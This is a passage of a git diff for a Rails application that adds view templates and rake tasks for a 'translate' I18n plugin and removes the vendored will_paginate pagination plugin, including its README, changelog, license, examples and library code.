{{foobar}} with (()) foobar. We skip these + if translation !~ /\(\(\)\)/ + puts "'#{translation[0, 40]}'" + I18n.backend.store_translations(ENV['TO'].to_sym, Translate::Keys.to_deep_hash({key => translation})) + else + puts "SKIPPING since interpolations were messed up: '#{translation[0,40]}'" + end + else + puts "NO TRANSLATION - #{response.inspect}" + end + end + end + + puts "\nTime elapsed: #{(((Time.now - start_at) / 60) * 10).to_i / 10.to_f} minutes" + Translate::Storage.new(ENV['TO'].to_sym).write_to_file + end + + desc "List keys that have changed I18n texts between YAML file ENV['FROM_FILE'] and YAML file ENV['TO_FILE']. Set ENV['VERBOSE'] to see changes" + task :changed => :environment do + from_hash = Translate::Keys.to_shallow_hash(Translate::File.new(ENV['FROM_FILE']).read) + to_hash = Translate::Keys.to_shallow_hash(Translate::File.new(ENV['TO_FILE']).read) + from_hash.each do |key, from_value| + if (to_value = to_hash[key]) && to_value != from_value + key_without_locale = key[/^[^.]+\.(.+)$/, 1] + if ENV['VERBOSE'] + puts "KEY: #{key_without_locale}" + puts "FROM VALUE: '#{from_value}'" + puts "TO VALUE: '#{to_value}'" + else + puts key_without_locale + end + end + end + end +end diff --git a/vendor/plugins/translate/views/layouts/translate.rhtml b/vendor/plugins/translate/views/layouts/translate.rhtml new file mode 100644 index 00000000..58dbc5c3 --- /dev/null +++ b/vendor/plugins/translate/views/layouts/translate.rhtml @@ -0,0 +1,359 @@ + + + + + + <%= h(@page_title) %> + + <%= translate_javascript_includes %> + + + + + + + +
    + <% if @page_title -%>

    <%=h @page_title %>

    <% end -%> + <% [:notice, :error].each do |message| %> + <%if flash[message] %> +
    + <%= h(flash[message]) if flash[message] %> +
    + <% end %> + <% end %> + <%= yield %> +
    + + diff --git a/vendor/plugins/translate/views/translate/_pagination.rhtml b/vendor/plugins/translate/views/translate/_pagination.rhtml new file mode 100644 index 00000000..64f4d690 --- /dev/null +++ b/vendor/plugins/translate/views/translate/_pagination.rhtml @@ -0,0 +1,24 @@ +<% + # Expects locals: + # + # total_entries + # per_page + + n_pages = total_entries/per_page + (total_entries % per_page > 0 ? 1 : 0) + current_page = (params[:page] || 1).to_i +%> + +<% if n_pages > 1 %> +

    Pages:

    +
    +
      + <% (1..n_pages).each do |page_number| %> + <% if current_page == page_number %> +
    • <%= link_to(page_number, params.merge(:page => page_number), :title => "Page #{page_number}" ) %>
    • + <% else %> +
    • <%= link_to(page_number, params.merge(:page => page_number), :title => "Page #{page_number}") %>
    • + <% end %> + <% end %> +
    +
    +<% end %> \ No newline at end of file diff --git a/vendor/plugins/translate/views/translate/index.rhtml b/vendor/plugins/translate/views/translate/index.rhtml new file mode 100644 index 00000000..a057659d --- /dev/null +++ b/vendor/plugins/translate/views/translate/index.rhtml @@ -0,0 +1,114 @@ +<% + @page_title = "Translate" + show_filters = ["all", "untranslated", "translated"] + show_filters << "changed" if @from_locale != @to_locale +%> + +
    + Search filter +
    +

    + <%= simple_filter(show_filters) %> +

    +

    + <%= simple_filter(["key", "text"], 'sort_by') %> +

    +
    + <% form_tag(params, :method => :get) do %> +
    +

    + <%= hidden_field_tag(:filter, params[:filter]) %> + <%= hidden_field_tag(:sort_by, params[:sort_by]) %> + + <%= select_tag(:from_locale, options_for_select(I18n.valid_locales, @from_locale.to_sym)) %> to + <%= select_tag(:to_locale, options_for_select(I18n.valid_locales, @to_locale.to_sym)) %> + <%= submit_tag "Display" %> +

    +
    +
    +

    + + <%= select_tag(:key_type, options_for_select([["contains", 'contains'], ["starts with", 'starts_with']], params[:key_type])) %> + <%= text_field_tag(:key_pattern, params[:key_pattern], :size => 50, :id => "key_pattern_value", :class => "text-default") %> +

    +

    + + <%= select_tag(:text_type, options_for_select(['contains', 'equals'], params[:text_type])) %> + <%= text_field_tag(:text_pattern, params[:text_pattern], :size => 50, :id => "text_pattern_value", :class => "text-default") %> +

    +

    + <%= submit_tag "Search" %> + <%= link_to "clear", params.merge({:text_pattern => nil, :key_pattern => nil}) %> +

    +
    + <% end %> +

    + Found <%= @total_entries %> messages +

    +

    + <%= link_to "Reload messages", translate_reload_path %> +

    +
    + + +
    + <%= render :partial => 'pagination', :locals => {:total_entries => @total_entries, :per_page => per_page} %> +
    + +<% if @total_entries > 0 %> +<% form_tag(translate_path) do %> +
    + <%= hidden_field_tag(:filter, params[:filter], :id => "hid_filter") %> + <%= hidden_field_tag(:sort_by, params[:sort_by], :id => "hid_sort_by") %> + <%= hidden_field_tag(:key_type, params[:key_type], :id => "hid_key_type") %> + <%= hidden_field_tag(:key_pattern, params[:key_pattern], :id => "hid_key_pattern") %> + <%= hidden_field_tag(:text_type, params[:text_type], :id => "hid_text_type") %> + <%= hidden_field_tag(:text_pattern, params[:text_pattern], :id => "hid_text_pattern") %> +
    +
    +

    Translations from <%= @from_locale %> to <%= @to_locale %>

    +

    + <%= submit_tag "Save Translations" %> +

    + <% @paginated_keys.each do |key| + from_text = lookup(@from_locale, key) + to_text = lookup(@to_locale, key) + line_size = 100 + n_lines = n_lines(from_text, line_size) + field_name = "key[#{key}]" + %> +
    + <% if from_text.present? %> +

    + <%= simple_format(h(from_text)) %> +

    + <% end %> +

    + <% if n_lines > 1 %> + <%= text_area_tag(field_name, to_text, :size => "#{line_size}x#{n_lines}", :id => key) %> + <% else %> + <%= text_field_tag(field_name, to_text, :size => line_size, :id => key) %> + <% end %> +

    +

    + + <%= link_to_function 'Auto Translate', "getGoogleTranslation('#{key}', \"#{escape_javascript(from_text)}\", '#{@from_locale}', '#{@to_locale}')", :style => 'padding: 0; margin: 0;' %> +
    + Key:<%=h key %>
    + <% if @files[key] %> + File:<%= @files[key].join("
    ") %> + <% end %> +
    +

    +
    +<% end %> +

    + <%= submit_tag "Save Translations" %> +

    +
    +<% end %> +<% end %> + +
    + <%= render :partial => 'pagination', :locals => {:total_entries => @total_entries, :per_page => per_page} %> +
    \ No newline at end of file diff --git a/vendor/plugins/will_paginate/.gitignore b/vendor/plugins/will_paginate/.gitignore deleted file mode 100644 index 2b437b91..00000000 --- a/vendor/plugins/will_paginate/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -/doc -/rails -*.gem -/coverage diff --git a/vendor/plugins/will_paginate/.manifest b/vendor/plugins/will_paginate/.manifest deleted file mode 100644 index d65c5c0f..00000000 --- a/vendor/plugins/will_paginate/.manifest +++ /dev/null @@ -1,49 +0,0 @@ -CHANGELOG -LICENSE -README.rdoc -Rakefile -examples -examples/apple-circle.gif -examples/index.haml -examples/index.html -examples/pagination.css -examples/pagination.sass -init.rb -lib -lib/will_paginate -lib/will_paginate.rb -lib/will_paginate/array.rb -lib/will_paginate/collection.rb -lib/will_paginate/core_ext.rb -lib/will_paginate/finder.rb -lib/will_paginate/named_scope.rb -lib/will_paginate/named_scope_patch.rb -lib/will_paginate/version.rb -lib/will_paginate/view_helpers.rb -test -test/boot.rb -test/collection_test.rb -test/console -test/database.yml -test/finder_test.rb -test/fixtures -test/fixtures/admin.rb -test/fixtures/developer.rb -test/fixtures/developers_projects.yml -test/fixtures/project.rb -test/fixtures/projects.yml -test/fixtures/replies.yml -test/fixtures/reply.rb -test/fixtures/schema.rb -test/fixtures/topic.rb -test/fixtures/topics.yml -test/fixtures/user.rb -test/fixtures/users.yml -test/helper.rb -test/lib -test/lib/activerecord_test_case.rb -test/lib/activerecord_test_connector.rb -test/lib/load_fixtures.rb -test/lib/view_test_process.rb -test/tasks.rake -test/view_test.rb \ No newline at end of file diff --git a/vendor/plugins/will_paginate/CHANGELOG b/vendor/plugins/will_paginate/CHANGELOG deleted file mode 100644 index 19c8fb7d..00000000 --- a/vendor/plugins/will_paginate/CHANGELOG +++ /dev/null @@ -1,92 +0,0 @@ -== master - -* ActiveRecord 2.1: remove :include from count query when tables are not - referenced in :conditions - -== 2.3.2, released 2008-05-16 - -* Fixed LinkRenderer#stringified_merge by removing "return" from iterator block -* Ensure that 'href' values in pagination links are escaped URLs - -== 2.3.1, released 2008-05-04 - -* Fixed page numbers not showing with custom routes and implicit first page -* Try to use Hanna for documentation (falls back to default RDoc template if not) - -== 2.3.0, released 2008-04-29 - -* Changed LinkRenderer to receive collection, options and reference to view template NOT in - constructor, but with the #prepare method. This is a step towards supporting passing of - LinkRenderer (or subclass) instances that may be preconfigured in some way -* LinkRenderer now has #page_link and #page_span methods for easier customization of output in - subclasses -* Changed page_entries_info() method to adjust its output according to humanized class name of - collection items. Override this with :entry_name parameter (singular). - - page_entries_info(@posts) - #-> "Displaying all 12 posts" - page_entries_info(@posts, :entry_name => 'item') - #-> "Displaying all 12 items" - -== 2.2.3, released 2008-04-26 - -* will_paginate gem is no longer published on RubyForge, but on - gems.github.com: - - gem sources -a http://gems.github.com/ (you only need to do this once) - gem install mislav-will_paginate - -* extract reusable pagination testing stuff into WillPaginate::View -* rethink the page URL construction mechanizm to be more bulletproof when - combined with custom routing for page parameter -* test that anchor parameter can be used in pagination links - -== 2.2.2, released 2008-04-21 - -* Add support for page parameter in custom routes like "/foo/page/2" -* Change output of "page_entries_info" on single-page collection and erraneous - output with empty collection as reported by Tim Chater - -== 2.2.1, released 2008-04-08 - -* take less risky path when monkeypatching named_scope; fix that it no longer - requires ActiveRecord::VERSION -* use strings in "respond_to?" calls to work around a bug in acts_as_ferret - stable (ugh) -* add rake release task - - -== 2.2.0, released 2008-04-07 - -=== API changes -* Rename WillPaginate::Collection#page_count to "total_pages" for consistency. - If you implemented this interface, change your implementation accordingly. -* Remove old, deprecated style of calling Array#paginate as "paginate(page, - per_page)". If you want to specify :page, :per_page or :total_entries, use a - parameter hash. -* Rename LinkRenderer#url_options to "url_for" and drastically optimize it - -=== View changes -* Added "prev_page" and "next_page" CSS classes on previous/next page buttons -* Add examples of pagination links styling in "examples/index.html" -* Change gap in pagination links from "..." to - "". -* Add "paginated_section", a block helper that renders pagination both above and - below content in the block -* Add rel="prev|next|start" to page links - -=== Other - -* Add ability to opt-in for Rails 2.1 feature "named_scope" by calling - WillPaginate.enable_named_scope (tested in Rails 1.2.6 and 2.0.2) -* Support complex page parameters like "developers[page]" -* Move Array#paginate definition to will_paginate/array.rb. You can now easily - use pagination on arrays outside of Rails: - - gem 'will_paginate' - require 'will_paginate/array' - -* Add "paginated_each" method for iterating through every record by loading only - one page of records at the time -* Rails 2: Rescue from WillPaginate::InvalidPage error with 404 Not Found by - default diff --git a/vendor/plugins/will_paginate/LICENSE b/vendor/plugins/will_paginate/LICENSE deleted file mode 100644 index 96a48cb3..00000000 --- a/vendor/plugins/will_paginate/LICENSE +++ /dev/null @@ -1,18 +0,0 @@ -Copyright (c) 2007 PJ Hyett and Mislav Marohnić - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/will_paginate/README.rdoc b/vendor/plugins/will_paginate/README.rdoc deleted file mode 100644 index 94ebdc3d..00000000 --- a/vendor/plugins/will_paginate/README.rdoc +++ /dev/null @@ -1,131 +0,0 @@ -= WillPaginate - -Pagination is just limiting the number of records displayed. Why should you let -it get in your way while developing, then? This plugin makes magic happen. Did -you ever want to be able to do just this on a model: - - Post.paginate :page => 1, :order => 'created_at DESC' - -... and then render the page links with a single view helper? Well, now you -can. - -Some resources to get you started: - -* Your mind reels with questions? Join our - {Google group}[http://groups.google.com/group/will_paginate]. -* The will_paginate project page: http://github.com/mislav/will_paginate -* How to report bugs: http://github.com/mislav/will_paginate/wikis/report-bugs -* Ryan Bates made an awesome screencast[http://railscasts.com/episodes/51], - check it out. - -== Installation - -The recommended way is that you get the gem: - - gem install mislav-will_paginate --source http://gems.github.com/ - -After that you don't need the will_paginate plugin in your Rails -application anymore. Just add a simple require to the end of -"config/environment.rb": - - gem 'mislav-will_paginate', '~> 2.2' - require 'will_paginate' - -That's it. Remember to install the gem on all machines that you are -deploying to. - -There are extensive -{installation instructions}[http://github.com/mislav/will_paginate/wikis/installation] -on {the wiki}[http://github.com/mislav/will_paginate/wikis]. - - -== Example usage - -Use a paginate finder in the controller: - - @posts = Post.paginate_by_board_id @board.id, :page => params[:page], :order => 'updated_at DESC' - -Yeah, +paginate+ works just like +find+ -- it just doesn't fetch all the -records. Don't forget to tell it which page you want, or it will complain! -Read more on WillPaginate::Finder::ClassMethods. - -Render the posts in your view like you would normally do. When you need to render -pagination, just stick this in: - - <%= will_paginate @posts %> - -You're done. (Copy and paste the example fancy CSS styles from the bottom.) You -can find the option list at WillPaginate::ViewHelpers. - -How does it know how much items to fetch per page? It asks your model by calling -its per_page class method. You can define it like this: - - class Post < ActiveRecord::Base - cattr_reader :per_page - @@per_page = 50 - end - -... or like this: - - class Post < ActiveRecord::Base - def self.per_page - 50 - end - end - -... or don't worry about it at all. WillPaginate defines it to be 30 by default. -But you can always specify the count explicitly when calling +paginate+: - - @posts = Post.paginate :page => params[:page], :per_page => 50 - -The +paginate+ finder wraps the original finder and returns your resultset that now has -some new properties. You can use the collection as you would with any ActiveRecord -resultset. WillPaginate view helpers also need that object to be able to render pagination: - -
      - <% for post in @posts -%> -
    1. Render `post` in some nice way.
    2. - <% end -%> -
    - -

    Now let's render us some pagination!

    - <%= will_paginate @posts %> - -More detailed documentation: - -* WillPaginate::Finder::ClassMethods for pagination on your models; -* WillPaginate::ViewHelpers for your views. - - -== Authors and credits - -Authors:: Mislav Marohnić, PJ Hyett -Original announcement:: http://errtheblog.com/post/929 -Original PHP source:: http://www.strangerstudios.com/sandbox/pagination/diggstyle.php - -All these people helped making will_paginate what it is now with their code -contributions or just simply awesome ideas: - -Chris Wanstrath, Dr. Nic Williams, K. Adam Christensen, Mike Garey, Bence -Golda, Matt Aimonetti, Charles Brian Quinn, Desi McAdam, James Coglan, Matijs -van Zuijlen, Maria, Brendan Ribera, Todd Willey, Bryan Helmkamp, Jan Berkel, -Lourens Naudé, Rick Olson, Russell Norris, Piotr Usewicz, Chris Eppstein. - - -== Usable pagination in the UI - -There are some CSS styles to get you started in the "examples/" directory. They -are showcased in the "examples/index.html" file. - -More reading about pagination as design pattern: - -* Pagination 101: - http://kurafire.net/log/archive/2007/06/22/pagination-101 -* Pagination gallery: - http://www.smashingmagazine.com/2007/11/16/pagination-gallery-examples-and-good-practices/ -* Pagination on Yahoo Design Pattern Library: - http://developer.yahoo.com/ypatterns/parent.php?pattern=pagination - -Want to discuss, request features, ask questions? Join the -{Google group}[http://groups.google.com/group/will_paginate]. - diff --git a/vendor/plugins/will_paginate/Rakefile b/vendor/plugins/will_paginate/Rakefile deleted file mode 100644 index c3cf1c61..00000000 --- a/vendor/plugins/will_paginate/Rakefile +++ /dev/null @@ -1,62 +0,0 @@ -require 'rubygems' -begin - hanna_dir = '/home/mislav/projects/hanna/lib' - $:.unshift hanna_dir if File.exists? hanna_dir - require 'hanna/rdoctask' -rescue LoadError - require 'rake' - require 'rake/rdoctask' -end -load 'test/tasks.rake' - -desc 'Default: run unit tests.' -task :default => :test - -desc 'Generate RDoc documentation for the will_paginate plugin.' -Rake::RDocTask.new(:rdoc) do |rdoc| - rdoc.rdoc_files.include('README.rdoc', 'LICENSE', 'CHANGELOG'). - include('lib/**/*.rb'). - exclude('lib/will_paginate/named_scope*'). - exclude('lib/will_paginate/array.rb'). - exclude('lib/will_paginate/version.rb') - - rdoc.main = "README.rdoc" # page to start on - rdoc.title = "will_paginate documentation" - - rdoc.rdoc_dir = 'doc' # rdoc output folder - rdoc.options << '--inline-source' << '--charset=UTF-8' - rdoc.options << '--webcvs=http://github.com/mislav/will_paginate/tree/master/' -end - -desc %{Update ".manifest" with the latest list of project filenames. Respect\ -.gitignore by excluding everything that git ignores. Update `files` and\ -`test_files` arrays in "*.gemspec" file if it's present.} -task :manifest do - list = Dir['**/*'].sort - spec_file = Dir['*.gemspec'].first - list -= [spec_file] if spec_file - - File.read('.gitignore').each_line do |glob| - glob = glob.chomp.sub(/^\//, '') - list -= Dir[glob] - list -= Dir["#{glob}/**/*"] if File.directory?(glob) and !File.symlink?(glob) - puts "excluding #{glob}" - end - - if spec_file - spec = File.read spec_file - spec.gsub! /^(\s* s.(test_)?files \s* = \s* )( \[ [^\]]* \] | %w\( [^)]* \) )/mx do - assignment = $1 - bunch = $2 ? list.grep(/^test\//) : list - '%s%%w(%s)' % [assignment, bunch.join(' ')] - end - - File.open(spec_file, 'w') {|f| f << spec } - end - File.open('.manifest', 'w') {|f| f << list.join("\n") } -end - -task :examples do - %x(haml examples/index.haml examples/index.html) - %x(sass examples/pagination.sass examples/pagination.css) -end diff --git a/vendor/plugins/will_paginate/examples/apple-circle.gif b/vendor/plugins/will_paginate/examples/apple-circle.gif deleted file mode 100644 index df8cbf7c..00000000 Binary files a/vendor/plugins/will_paginate/examples/apple-circle.gif and /dev/null differ diff --git a/vendor/plugins/will_paginate/examples/index.haml b/vendor/plugins/will_paginate/examples/index.haml deleted file mode 100644 index fb41ac8a..00000000 --- a/vendor/plugins/will_paginate/examples/index.haml +++ /dev/null @@ -1,69 +0,0 @@ -!!! -%html -%head - %title Samples of pagination styling for will_paginate - %link{ :rel => 'stylesheet', :type => 'text/css', :href => 'pagination.css' } - %style{ :type => 'text/css' } - :sass - html - :margin 0 - :padding 0 - :background #999 - :font normal 76% "Lucida Grande", Verdana, Helvetica, sans-serif - body - :margin 2em - :padding 2em - :border 2px solid gray - :background white - :color #222 - h1 - :font-size 2em - :font-weight normal - :margin 0 0 1em 0 - h2 - :font-size 1.4em - :margin 1em 0 .5em 0 - pre - :font-size 13px - :font-family Monaco, "DejaVu Sans Mono", "Bitstream Vera Mono", "Courier New", monospace - -- pagination = '« Previous 1 3 4 5 6 7 8 9 29 30 ' -- pagination_no_page_links = '« Previous ' - -%body - %h1 Samples of pagination styling for will_paginate - %p - Find these styles in "examples/pagination.css" of will_paginate library. - There is a Sass version of it for all you sassy people. - %p - Read about good rules for pagination: - %a{ :href => 'http://kurafire.net/log/archive/2007/06/22/pagination-101' } Pagination 101 - %p - %em Warning: - page links below don't lead anywhere (so don't click on them). - - %h2 Unstyled pagination (ewww!) - %div= pagination - - %h2 Digg.com - .digg_pagination= pagination - - %h2 Digg-style, no page links - .digg_pagination= pagination_no_page_links - %p Code that renders this: - %pre= '%s' % %[<%= will_paginate @posts, :page_links => false %>].gsub('<', '<').gsub('>', '>') - - %h2 Digg-style, extra content - .digg_pagination - .page_info Displaying entries 1 - 6 of 180 in total - = pagination - %p Code that renders this: - %pre= '%s' % %[
    \n
    \n <%= page_entries_info @posts %>\n
    \n <%= will_paginate @posts, :container => false %>\n
    ].gsub('<', '<').gsub('>', '>') - - %h2 Apple.com store - .apple_pagination= pagination - - %h2 Flickr.com - .flickr_pagination - = pagination - .page_info (118 photos) diff --git a/vendor/plugins/will_paginate/examples/index.html b/vendor/plugins/will_paginate/examples/index.html deleted file mode 100644 index 858f7c6f..00000000 --- a/vendor/plugins/will_paginate/examples/index.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - Samples of pagination styling for will_paginate - - - - -

    Samples of pagination styling for will_paginate

    -

    - Find these styles in "examples/pagination.css" of will_paginate library. - There is a Sass version of it for all you sassy people. -

    -

    - Read about good rules for pagination: - Pagination 101 -

    -

    - Warning: - page links below don't lead anywhere (so don't click on them). -

    -

    - Unstyled pagination (ewww!) -

    -
    - « Previous 1 3 4 5 6 7 8 9 29 30 -
    -

    Digg.com

    -
    - « Previous 1 3 4 5 6 7 8 9 29 30 -
    -

    Digg-style, no page links

    -
    - « Previous -
    -

    Code that renders this:

    -
    -    <%= will_paginate @posts, :page_links => false %>
    -  
    -

    Digg-style, extra content

    -
    -
    - Displaying entries 1 - 6 of 180 in total -
    - « Previous 1 3 4 5 6 7 8 9 29 30 -
    -

    Code that renders this:

    -
    -    <div class="digg_pagination">
    -      <div clas="page_info">
    -        <%= page_entries_info @posts %>
    -      </div>
    -      <%= will_paginate @posts, :container => false %>
    -    </div>
    -  
    -

    Apple.com store

    -
    - « Previous 1 3 4 5 6 7 8 9 29 30 -
    -

    Flickr.com

    -
    - « Previous 1 3 4 5 6 7 8 9 29 30 -
    (118 photos)
    -
    - diff --git a/vendor/plugins/will_paginate/examples/pagination.css b/vendor/plugins/will_paginate/examples/pagination.css deleted file mode 100644 index b55e9779..00000000 --- a/vendor/plugins/will_paginate/examples/pagination.css +++ /dev/null @@ -1,90 +0,0 @@ -.digg_pagination { - background: white; - /* self-clearing method: */ } - .digg_pagination a, .digg_pagination span { - padding: .2em .5em; - display: block; - float: left; - margin-right: 1px; } - .digg_pagination span.disabled { - color: #999; - border: 1px solid #DDD; } - .digg_pagination span.current { - font-weight: bold; - background: #2E6AB1; - color: white; - border: 1px solid #2E6AB1; } - .digg_pagination a { - text-decoration: none; - color: #105CB6; - border: 1px solid #9AAFE5; } - .digg_pagination a:hover, .digg_pagination a:focus { - color: #003; - border-color: #003; } - .digg_pagination .page_info { - background: #2E6AB1; - color: white; - padding: .4em .6em; - width: 22em; - margin-bottom: .3em; - text-align: center; } - .digg_pagination .page_info b { - color: #003; - background: #6aa6ed; - padding: .1em .25em; } - .digg_pagination:after { - content: "."; - display: block; - height: 0; - clear: both; - visibility: hidden; } - * html .digg_pagination { - height: 1%; } - *:first-child+html .digg_pagination { - overflow: hidden; } - -.apple_pagination { - background: #F1F1F1; - border: 1px solid #E5E5E5; - text-align: center; - padding: 1em; } - .apple_pagination a, .apple_pagination span { - padding: .2em .3em; } - .apple_pagination span.disabled { - color: #AAA; } - .apple_pagination span.current { - font-weight: bold; - background: transparent url(apple-circle.gif) no-repeat 50% 50%; } - .apple_pagination a { - text-decoration: none; - color: black; } - .apple_pagination a:hover, .apple_pagination a:focus { - text-decoration: underline; } - -.flickr_pagination { - text-align: center; - padding: .3em; } - .flickr_pagination a, .flickr_pagination span { - padding: .2em .5em; } - .flickr_pagination span.disabled { - color: #AAA; } - .flickr_pagination span.current { - font-weight: bold; - color: #FF0084; } - .flickr_pagination a { - border: 1px solid #DDDDDD; - color: #0063DC; - text-decoration: none; } - .flickr_pagination a:hover, .flickr_pagination a:focus { - border-color: #003366; - background: #0063DC; - color: white; } - .flickr_pagination .page_info { - color: #aaa; - padding-top: .8em; } - .flickr_pagination .prev_page, .flickr_pagination .next_page { - border-width: 2px; } - .flickr_pagination .prev_page { - margin-right: 1em; } - .flickr_pagination .next_page { - margin-left: 1em; } diff --git a/vendor/plugins/will_paginate/examples/pagination.sass b/vendor/plugins/will_paginate/examples/pagination.sass deleted file mode 100644 index 737a97be..00000000 --- a/vendor/plugins/will_paginate/examples/pagination.sass +++ /dev/null @@ -1,91 +0,0 @@ -.digg_pagination - :background white - a, span - :padding .2em .5em - :display block - :float left - :margin-right 1px - span.disabled - :color #999 - :border 1px solid #DDD - span.current - :font-weight bold - :background #2E6AB1 - :color white - :border 1px solid #2E6AB1 - a - :text-decoration none - :color #105CB6 - :border 1px solid #9AAFE5 - &:hover, &:focus - :color #003 - :border-color #003 - .page_info - :background #2E6AB1 - :color white - :padding .4em .6em - :width 22em - :margin-bottom .3em - :text-align center - b - :color #003 - :background = #2E6AB1 + 60 - :padding .1em .25em - - /* self-clearing method: - &:after - :content "." - :display block - :height 0 - :clear both - :visibility hidden - * html & - :height 1% - *:first-child+html & - :overflow hidden - -.apple_pagination - :background #F1F1F1 - :border 1px solid #E5E5E5 - :text-align center - :padding 1em - a, span - :padding .2em .3em - span.disabled - :color #AAA - span.current - :font-weight bold - :background transparent url(apple-circle.gif) no-repeat 50% 50% - a - :text-decoration none - :color black - &:hover, &:focus - :text-decoration underline - -.flickr_pagination - :text-align center - :padding .3em - a, span - :padding .2em .5em - span.disabled - :color #AAA - span.current - :font-weight bold - :color #FF0084 - a - :border 1px solid #DDDDDD - :color #0063DC - :text-decoration none - &:hover, &:focus - :border-color #003366 - :background #0063DC - :color white - .page_info - :color #aaa - :padding-top .8em - .prev_page, .next_page - :border-width 2px - .prev_page - :margin-right 1em - .next_page - :margin-left 1em diff --git a/vendor/plugins/will_paginate/init.rb b/vendor/plugins/will_paginate/init.rb deleted file mode 100644 index 838d30ec..00000000 --- a/vendor/plugins/will_paginate/init.rb +++ /dev/null @@ -1 +0,0 @@ -require 'will_paginate' diff --git a/vendor/plugins/will_paginate/lib/will_paginate.rb b/vendor/plugins/will_paginate/lib/will_paginate.rb deleted file mode 100644 index 366e39cc..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate.rb +++ /dev/null @@ -1,86 +0,0 @@ -require 'active_support' - -# = You *will* paginate! -# -# First read about WillPaginate::Finder::ClassMethods, then see -# WillPaginate::ViewHelpers. The magical array you're handling in-between is -# WillPaginate::Collection. -# -# Happy paginating! -module WillPaginate - class << self - # shortcut for enable_actionpack; enable_activerecord - def enable - enable_actionpack - enable_activerecord - end - - # mixes in WillPaginate::ViewHelpers in ActionView::Base - def enable_actionpack - return if ActionView::Base.instance_methods.include? 'will_paginate' - require 'will_paginate/view_helpers' - ActionView::Base.class_eval { include ViewHelpers } - - if defined?(ActionController::Base) and ActionController::Base.respond_to? :rescue_responses - ActionController::Base.rescue_responses['WillPaginate::InvalidPage'] = :not_found - end - end - - # mixes in WillPaginate::Finder in ActiveRecord::Base and classes that deal - # with associations - def enable_activerecord - return if ActiveRecord::Base.respond_to? :paginate - require 'will_paginate/finder' - ActiveRecord::Base.class_eval { include Finder } - - # support pagination on associations - a = ActiveRecord::Associations - returning([ a::AssociationCollection ]) { |classes| - # detect http://dev.rubyonrails.org/changeset/9230 - unless a::HasManyThroughAssociation.superclass == a::HasManyAssociation - classes << a::HasManyThroughAssociation - end - }.each do |klass| - klass.class_eval do - include Finder::ClassMethods - alias_method_chain :method_missing, :paginate - end - end - end - - # Enable named_scope, a feature of Rails 2.1, even if you have older Rails - # (tested on Rails 2.0.2 and 1.2.6). - # - # You can pass +false+ for +patch+ parameter to skip monkeypatching - # *associations*. Use this if you feel that named_scope broke - # has_many, has_many :through or has_and_belongs_to_many associations in - # your app. By passing +false+, you can still use named_scope in - # your models, but not through associations. - def enable_named_scope(patch = true) - return if defined? ActiveRecord::NamedScope - require 'will_paginate/named_scope' - require 'will_paginate/named_scope_patch' if patch - - ActiveRecord::Base.class_eval do - include WillPaginate::NamedScope - end - end - end - - module Deprecation #:nodoc: - extend ActiveSupport::Deprecation - - def self.warn(message, callstack = caller) - message = 'WillPaginate: ' + message.strip.gsub(/\s+/, ' ') - behavior.call(message, callstack) if behavior && !silenced? - end - - def self.silenced? - ActiveSupport::Deprecation.silenced? - end - end -end - -if defined?(Rails) and defined?(ActiveRecord) and defined?(ActionController) - WillPaginate.enable -end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/array.rb b/vendor/plugins/will_paginate/lib/will_paginate/array.rb deleted file mode 100644 index d061d2be..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/array.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'will_paginate/collection' - -# http://www.desimcadam.com/archives/8 -Array.class_eval do - def paginate(options = {}) - raise ArgumentError, "parameter hash expected (got #{options.inspect})" unless Hash === options - - WillPaginate::Collection.create( - options[:page] || 1, - options[:per_page] || 30, - options[:total_entries] || self.length - ) { |pager| - pager.replace self[pager.offset, pager.per_page].to_a - } - end -end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/collection.rb b/vendor/plugins/will_paginate/lib/will_paginate/collection.rb deleted file mode 100644 index 89d992f6..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/collection.rb +++ /dev/null @@ -1,145 +0,0 @@ -module WillPaginate - # = Invalid page number error - # This is an ArgumentError raised in case a page was requested that is either - # zero or negative number. You should decide how do deal with such errors in - # the controller. - # - # If you're using Rails 2, then this error will automatically get handled like - # 404 Not Found. The hook is in "will_paginate.rb": - # - # ActionController::Base.rescue_responses['WillPaginate::InvalidPage'] = :not_found - # - # If you don't like this, use your preffered method of rescuing exceptions in - # public from your controllers to handle this differently. The +rescue_from+ - # method is a nice addition to Rails 2. - # - # This error is *not* raised when a page further than the last page is - # requested. Use WillPaginate::Collection#out_of_bounds? method to - # check for those cases and manually deal with them as you see fit. - class InvalidPage < ArgumentError - def initialize(page, page_num) - super "#{page.inspect} given as value, which translates to '#{page_num}' as page number" - end - end - - # = The key to pagination - # Arrays returned from paginating finds are, in fact, instances of this little - # class. You may think of WillPaginate::Collection as an ordinary array with - # some extra properties. Those properties are used by view helpers to generate - # correct page links. - # - # WillPaginate::Collection also assists in rolling out your own pagination - # solutions: see +create+. - # - # If you are writing a library that provides a collection which you would like - # to conform to this API, you don't have to copy these methods over; simply - # make your plugin/gem dependant on the "will_paginate" gem: - # - # gem 'will_paginate' - # require 'will_paginate/collection' - # - # # now use WillPaginate::Collection directly or subclass it - class Collection < Array - attr_reader :current_page, :per_page, :total_entries, :total_pages - - # Arguments to the constructor are the current page number, per-page limit - # and the total number of entries. The last argument is optional because it - # is best to do lazy counting; in other words, count *conditionally* after - # populating the collection using the +replace+ method. - def initialize(page, per_page, total = nil) - @current_page = 